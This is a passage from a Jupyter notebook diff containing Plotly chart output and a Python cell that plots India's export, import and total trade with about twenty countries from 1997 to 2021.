3153.4, - 2298.64, - 2047.14, - 2208.96, - 2198.2, - 2026.1, - 2066 - ] - }, - { - "mode": "lines", - "name": "LITHUANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.7, - 3.8, - 20.02, - 9.78, - 7.37, - 15.68, - 28.72, - 48.23, - 62.4, - 60.77, - 68.82, - 632.92, - 139.08, - 208.75, - 338.26, - 193.34, - 158.64, - 215.15, - 302.44, - 367.15, - 293.23, - 339.51, - 372.86, - 484.71, - 332.34 - ] - }, - { - "mode": "lines", - "name": "JORDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 237.6, - 344.75, - 325.52, - 322.13, - 290.66, - 326.26, - 381.26, - 484.13, - 627.3, - 649.88, - 1045.39, - 2208.4, - 1069.05, - 1304.29, - 2304.14, - 1942.85, - 2206.59, - 2288.96, - 1352.88, - 1350.65, - 1525.8, - 1695.06, - 2025.31, - 1696.42, - 1933.37 - ] - }, - { - "mode": "lines", - "name": "COLOMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 37.97, - 28.26, - 36.12, - 58.92, - 59.73, - 67.39, - 105.78, - 344.87, - 464.37, - 652.64, - 843.92, - 387.66, - 813.25, - 1417.62, - 1452.25, - 3264.91, - 5978.13, - 3240.08, - 1694.68, - 1378.47, - 1531.94, - 2171.83, - 1854.37, - 2268.6, - 3201.1 - ] - }, - { - "mode": "lines", - "name": "BURKINA FASO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 6.84, - 17.14, - 17.25, - 22.58, - 25.71, - 34.2, - 29.54, - 22.62, - 20.54, - 51.76, - 88.35, - 42.61, - 49.96, - 101.46, - 100.76, - 119.76, - 264.4, - 346.91, - 371.36, - 780.92, - 1062.71, - 696.61, - 567.82, - 516 - ] - }, - { - "mode": "lines", - "name": "BURUNDI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.37, - 0, - 3.1, - 2.6, - 0, - 5.8, - 7.67, - 10.76, - 7.97, - 9.91, - 14.77, - 13.37, - 16.36, - 24.72, - 32.9, - 30.94, - 31.74, - 29.17, - 37.58, - 54.62, - 52.9, - 62.29, - 64.09, - 47.51 - ] - }, - { - "mode": "lines", - "name": "C AFRI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.58, - 0, - 1, - 5.3, - 0, - 0.81, - 1.13, - 1.76, - 2.84, - 2.45, - 4.87, - 5.87, - 5.07, - 8.28, - 10.44, - 8.64, - 8.39, - 10.01, - 10.67, - 39.8, - 28.82, - 56.19, - 23.94, - 0 - ] - }, - { - "mode": "lines", - "name": "CAMBODIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.46, - 8.15, - 8.1, - 9.18, - 12.41, - 20.45, - 18.88, - 18.38, - 24.97, - 53.67, - 56.4, - 49.61, - 50.6, - 74.95, - 106.72, - 124.18, - 154.04, - 160.49, - 197.44, - 141.16, - 177.24, - 238.61, - 234.81, - 208.21, - 196.88 - ] - }, - { - "mode": "lines", - "name": "CAMEROON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 22.51, - 14.25, - 15.59, - 15.73, - 22.45, - 27.7, - 33.56, - 38.41, - 46.93, - 90.84, - 91.34, - 123.44, - 214.59, - 259.27, - 719.61, - 694.16, - 527.97, - 994.49, - 748.53, - 507.9, - 406.76, - 521.46, - 904.81, - 481.54, - 662.64 - ] - }, - { - "mode": "lines", - "name": "CANADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 848.73, - 858.58, - 958.78, - 1053.54, - 1114.25, - 1264.56, - 1489.08, - 1642.53, - 1941.44, - 2885.74, - 3247.86, - 3823.06, - 3220.13, - 3378.8, - 4972.3, - 4836.8, - 5185.26, - 5945.42, - 6252.45, - 6135.64, - 7234.66, - 6366.83, - 6732.13, - 5647.2, - 4841.95 - ] - }, - { - "mode": "lines", - "name": "CAPE VERDE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.15, - 0.41, - 0.43, - 0.72, - 0.81, - 2.57, - 3.83, - 4.37, - 4.61, - 7.09, - 4.2, - 3.15, - 4.3, - 4.5, - 4.22, - 5.35, - 6.51 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[100]]['Year(start)'], y=df[df['Country']==country.index[100]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(100,120):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[100]]['Year(start)'], y=df[df['Country']==country.index[100]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(100,120):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[100]]['Year(start)'], y=df[df['Country']==country.index[100]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(100,120):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "id": "c266dda5-731e-4a7d-8607-78f1eec5fa21", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 21.25, - 0.17, - 0.1, - 0.12, - 0.41, - 3.85, - 0.48, - 0.67, - 0.39, - 0.32, - 0.63, - 0.57, - 0.79, - 0.29, - 0.98, - 0.39, - 3.15, - 6.75, - 3.54, - 4.74, - 4.02, - 4.37, - 6.58, - 4.32, - 5.15 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "CAYMAN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 21.25, - 0.17, - 0.1, - 0.12, - 0.41, - 3.85, - 0.48, - 0.67, - 0.39, - 0.32, - 0.63, - 0.57, - 0.79, - 0.29, - 0.98, - 0.39, - 3.15, - 6.75, - 3.54, - 4.74, - 4.02, - 4.37, - 6.58, - 4.32, - 5.15 - ] - }, - { - "mode": "lines", - "name": "CHAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.59, - 3.14, - 5.77, - 2.05, - 4.2, - 1.13, - 2.63, - 3.52, - 4.21, - 28.3, - 13.01, - 16.43, - 6.92, - 12, - 38.91, - 46.42, - 33.02, - 40.69, - 43.49, - 38.52, - 27.29, - 37.46, - 58.69, - 59.23, - 36.91 - ] - }, - { - "mode": "lines", - "name": "CHILE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 120.56, - 68.06, - 68.61, - 108.45, - 83.25, - 72.13, - 83.02, - 111.2, - 152.15, - 377.22, - 250.21, - 393.47, - 277.32, - 507.55, - 522.08, - 690, - 663.94, - 565.82, - 679.32, - 674.34, - 763.56, - 989.8, - 793.43, - 805, - 885.01 - ] - }, - { - "mode": "lines", - "name": "CHINA P RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 717.95, - 427.16, - 539.04, - 831.3, - 951.95, - 1975.48, - 2955.08, - 5615.88, - 6759.1, - 8321.86, - 10871.34, - 9353.5, - 11617.88, - 14168.86, - 18076.55, - 13534.88, - 14824.36, - 11934.25, - 9011.36, - 10171.89, - 13333.53, - 16752.2, - 16612.75, - 21187.15, - 17122.55 - ] - }, - { - "mode": "lines", - "name": "COMOROS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.96, - 1.49, - 1.4, - 1.15, - 2.36, - 6.39, - 1.95, - 2.44, - 5.1, - 15.75, - 9.76, - 25.54, - 9.29, - 8.61, - 10.98, - 20.74, - 13.7, - 17.76, - 17.01, - 20.78, - 29.62, - 19.29, - 18.88, - 18.26, - 15.71 - ] - }, - { - "mode": "lines", - "name": "EGYPT A RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 253.4, - 270.34, - 236.7, - 357.48, - 462.73, - 298.24, - 367.48, - 444.73, - 672.43, - 763.08, - 1398.83, - 1699.86, - 1403.88, - 1982.43, - 2421.89, - 2897.33, - 2562.16, - 3025.59, - 2337.68, - 2067.35, - 2392.34, - 2886.39, - 2504.23, - 2264.37, - 2609.32 - ] - }, - { - "mode": "lines", - "name": "CONGO D. REP.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 22.19, - 7.13, - 4.95, - 4.45, - 3.63, - 4.31, - 11.15, - 2.82, - 2.03, - 1.2, - 4.19, - 15.26, - 10.12, - 6.68, - 6.88, - 147.29, - 181.45, - 254.16, - 317.63, - 199.19, - 225.07, - 302.94, - 352.77, - 430.33, - 416.3 - ] - }, - { - "mode": "lines", - "name": "CONGO P REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14.35, - 22.26, - 22.35, - 39.41, - 38.45, - 53.37, - 61.27, - 93.26, - 111.62, - 136.27, - 151.41, - 209.81, - 196.2, - 241.88, - 347.4, - 199.12, - 210.32, - 252.89, - 166.66, - 135.82, - 116.69, - 132.88, - 112.91, - 109.84, - 112.01 - ] - }, - { - "mode": "lines", - "name": "COSTA RICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.79, - 1.83, - 2.64, - 6.85, - 7.87, - 10.54, - 20.52, - 16.48, - 16.06, - 20.52, - 31.69, - 34.17, - 32.23, - 61.47, - 65.53, - 74.28, - 81.09, - 95.84, - 134.76, - 159.31, - 133.57, - 136.15, - 126.63, - 113.88, - 112.82 - ] - }, - { - "mode": "lines", - "name": "COTE D' IVOIRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.25, - 66.09, - 34.49, - 45.92, - 52.73, - 48.93, - 98.11, - 101.03, - 106.14, - 141.73, - 257.98, - 94.78, - 122.33, - 94.15, - 282.53, - 395.97, - 298.95, - 309.75, - 397.27, - 418.66, - 511.75, - 448.64, - 414.67, - 585.96, - 542.58 - ] - }, - { - "mode": "lines", - "name": "CUBA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.62, - 3.34, - 2.94, - 4.82, - 5.92, - 4.81, - 4.95, - 7.44, - 11.91, - 27.03, - 19.15, - 37.17, - 22.77, - 25.51, - 36.67, - 35.82, - 35.53, - 37.32, - 54.31, - 41.79, - 41.8, - 35, - 47.51, - 20.33, - 23.18 - ] - }, - { - "mode": "lines", - "name": "CYPRUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.28, - 24.65, - 35.55, - 31.47, - 28.43, - 23.47, - 28.2, - 29.38, - 32.41, - 33.39, - 47.91, - 250.01, - 46.82, - 43.31, - 56.62, - 54.99, - 61.57, - 51.11, - 59.8, - 71.77, - 99.91, - 70.65, - 443.28, - 90.11, - 57.19 - ] - }, - { - "mode": "lines", - "name": "CZECH REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 25.41, - 34.3, - 33.79, - 38.39, - 41.08, - 57.42, - 88.02, - 88, - 96.87, - 102.66, - 180.28, - 183.3, - 177.76, - 215.77, - 271.85, - 251.4, - 387.08, - 378.56, - 488.59, - 533.14, - 405.36, - 429.13, - 496.35, - 485.48, - 439.51 - ] - }, - { - "mode": "lines", - "name": "DENMARK", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 158.73, - 186.54, - 211.12, - 174.38, - 151.86, - 183.67, - 241.89, - 305.74, - 410.28, - 458.06, - 496.57, - 583.66, - 580.42, - 690.74, - 757.51, - 707.29, - 761.79, - 724.24, - 688.79, - 692.94, - 784.1, - 746.59, - 733.96, - 755.25, - 680.2 - ] - }, - { - "mode": "lines", - "name": "DJIBOUTI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.82, - 13.28, - 10.98, - 20.97, - 16.22, - 37.42, - 73.67, - 128.63, - 230.36, - 307.62, - 460.66, - 359.96, - 265.84, - 319.87, - 475.34, - 411.86, - 307.04, - 237.96, - 204.55, - 280.41, - 376.46, - 790.66, - 316.01, - 347.06, - 549.77 - ] - }, - { - "mode": "lines", - "name": "DOMINIC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - 